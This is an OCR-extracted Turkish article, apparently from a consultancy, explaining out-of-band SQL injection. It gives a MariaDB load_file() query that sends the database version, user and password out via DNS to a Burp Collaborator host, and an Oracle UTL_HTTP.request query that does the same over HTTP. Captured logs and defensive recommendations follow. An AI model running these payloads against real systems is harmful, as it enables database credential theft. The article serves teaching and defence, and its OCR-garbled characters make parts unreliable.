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Out-of-Band (OOB) SQL Injection

Bant Disi1 (OOB) SQL Enjeksiyonu aslinda yeni bir saldiri degildir ve tartismasi birkag yil 6nce baglamistir. Bu
yazinin amaci zafiyeti 6rneklemek ve 6zetlemektir.

In-Band ve Blind SQL Enjeksiyonu ile karsilastirildiginda, OOB SQL enjeksiyonu verileri outbound bir kanaldan
disari sizdirir, bunlar DNS veya HTTP protokoll olabilir. Bir veri tabani sisteminin outbound DNS veya HTTP
istegini baslatma yeteneginin, mevcut fonksiyonlara bagli olabilir. Bu fonksiyon, dosya islemi (6rnegin: load_file
(), xp_dirtree) veya baglanti yaratma fonksiyonu olabilir (6rnegin: DBMS_LDAP.INIT, UTL_HTTP.request). OOB
SQL enjeksiyonundan yararlanmak igin, hedeflenen web ve veri tabani sunuculari asagidaki kosullari
saglamalidir:

1. Web uygulamasinda girdi dogrulama eksikligi

2. Hedeflenen veri tabani sunucusunun, givenlik kisittanmasi olmadan disariya giden istegi (DNS veya
HTTP) gébndermesine izin veren ag ortami

3. Giden istegi olusturmak icin gerekli fonksiyonlari calistirabilecek yeterli yetki

Asagidaki sekilde OOB SQL Enjeksiyonu akigi gésterilmektedir. Bu yazimda, Burp Collaborator sunucusu, veri
tabani sisteminden giden istegi dinlemek ve yakalamak igin kullaniimigtir.
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DNS tabanh veri sizdirma:

Asagida, MySQL veri tabaninin bir ¢atali olan MariaDB igin DNS tabanl veri sizdirma sorgusu 6rnegi verilmistir.
Bu sorgu, MariaDB'den veri tabani sirimund, kullanici adini ve sifreyi sizdirmak igin kullaniimistir. load_file()
fonksiyonu, giden DNS iste@ini yapmak ve nokta (.) toplanan verilerin goriintilenmesini organize etmek igin
kullanilir.

select
load file (CONCAT (*\\\\', (SELECT+@@version),".", (S
ELECT+user), ".', (SELECT+password) , '.", "nbtgzhrfie

8171uaacquihqglocu2ir.burpcollaborator.net\\viw'))

Burp Collaborator sunucusu tarafindan yakalanan MariaDB'nin DNS giden istekleri asagdidaki gibi gésterilir:


http://www.pwc.com.tr/

# A Time | Type | Payload | Comment
E 1 2019-Aug-09 20:22:59 UTC DNS : nStgzhrf768I7 1uaacqubhglocu2ir
|2 2019-Aug-09 20:22:37 UTC DNS nStgzhr {76817 1uaacqulhglocu2ir
| 3 2019-Aug-09 20:23:20 UTC DNS nStgzhrf768[71uaacqulhglocu2ir
| 4 2019-Aug-09 20:23:41 UTC DNS nStgzhrf768[71uaacqulhglocu2ir
|'s 2019-Aug-09 20:24:03 UTC DNS nStgzhrf76817 1uaacqulhglocu2ir

[ Description | Dhs query |

The Collaborator server received a DNS lookup of type A for the domain name
10.3.16-MariaDB.admin.5f4dcc3b5aa765d61d8327deb882cf99.n5tgzhrf768171uaacquOhqlocu2ir.burpcollaborator.net
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HTTP tabanli veri sizdirma:

Oracle veri tabani, UTL_HTTP.request fonksiyonu kullanilarak HTTP tabanli veri sizdirma gosterilmistir.
Asagida, veri tabani stirimunu, gecerli kullanici adini ve parola 6zetini veri tabanindan sizdirmak igin kullanilan
ornek sorgu gosterilmektedir. UTL_HTTP.request () fonksiyonunun amaci, veri tabani sisteminin HTTP istegini
tetiklemektir. “?version’, kullanici ve parola 6zetini yakalanan verileri dizenlemek ve HTTP isteginin
parametreleri gibi gérinmesini saglar.

SELECT

UTL HTTP.request ('http://fexvz59jd1088tjhf7yezlonkegde
t.burpcollaborator.net/'||'?version="|| (SELECT wersion
FROM wvSinstance) ||'&"| | "'user="]|| (SELECT user FROM
dual) || "'&'| | "hashpass="|| (SELECT spared4 FROM sys.user

S WHERE rownum=1)) FROM dual;

Asagida Burp Collaborator sunucusu tarafindan yakalanan HTTP istegi gésterilmektedir:

# 4| Time | Type | Payload

1 2019%-Aug-12 09:08:12 UTC HTTP fexwz58jd1088tjh fry6z0onkegdet

2 2015%-Aug-12 09:08:12 UTC ONS fexwzo8jd1088thfrySzlonkegdet
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Dezcription | Request to Collaborator T Response from Collaborator W

J Raw I Paramz T Headers I Hex ]

GET

Siversion=18.0.0_0._0&user=5Y¥53&hashpass=5: SDODED0OACOCAELIS4BATAFASED

BOCFAEC4T7EZ4C1EBB0EETLE2CA0SECOEDFE,; T: CC3753FACS4A0BEFEF45AEBA4BE7T

BSDTDEOATZEDAELSCSFEDECDOESAEES]1 B5ARBE3D1E64DFCEOLAZASTAATCCTFALLALEE

S1401ACCEFEEEBT13E418B56E3ACSECOZBF4BCECESZA4EAD331CFACE353D3BAAZE
HTTP/1.1

Host: fexwsiS9jdl088cihiTyEzlonkegdet burpeollaborator . net

Connection: close

LS

Oneriler:
1. Hem istemci hem de sunucu tarafinda girdi dogrulama yapilmalidir.
2. Ayrintilh hata bilgilerinin gértntilenmesini 6nlemek igin uygun hata ydnetimi gerceklestiriimelidir.
3. Ag ve guvenlik mimarisi tasarimini gézden gegirilmelidir.
4. En az ayricalk ilkesine gore uygun yetkilere sahip veri tabani hesabini uygulamaya atanmalidir.
5. Ek kontrol olarak Web Uygulamasi Giivenlik Duvari (WAF) ve izinsiz Girisi Onleme Sistemi (IPS) gibi

glvenlik kontrolinidn uygulanmaldir.
Anomali durumlarinin sirekli kontroll ve uygun olay mudahale surecleri gergeklestiriimelidir.
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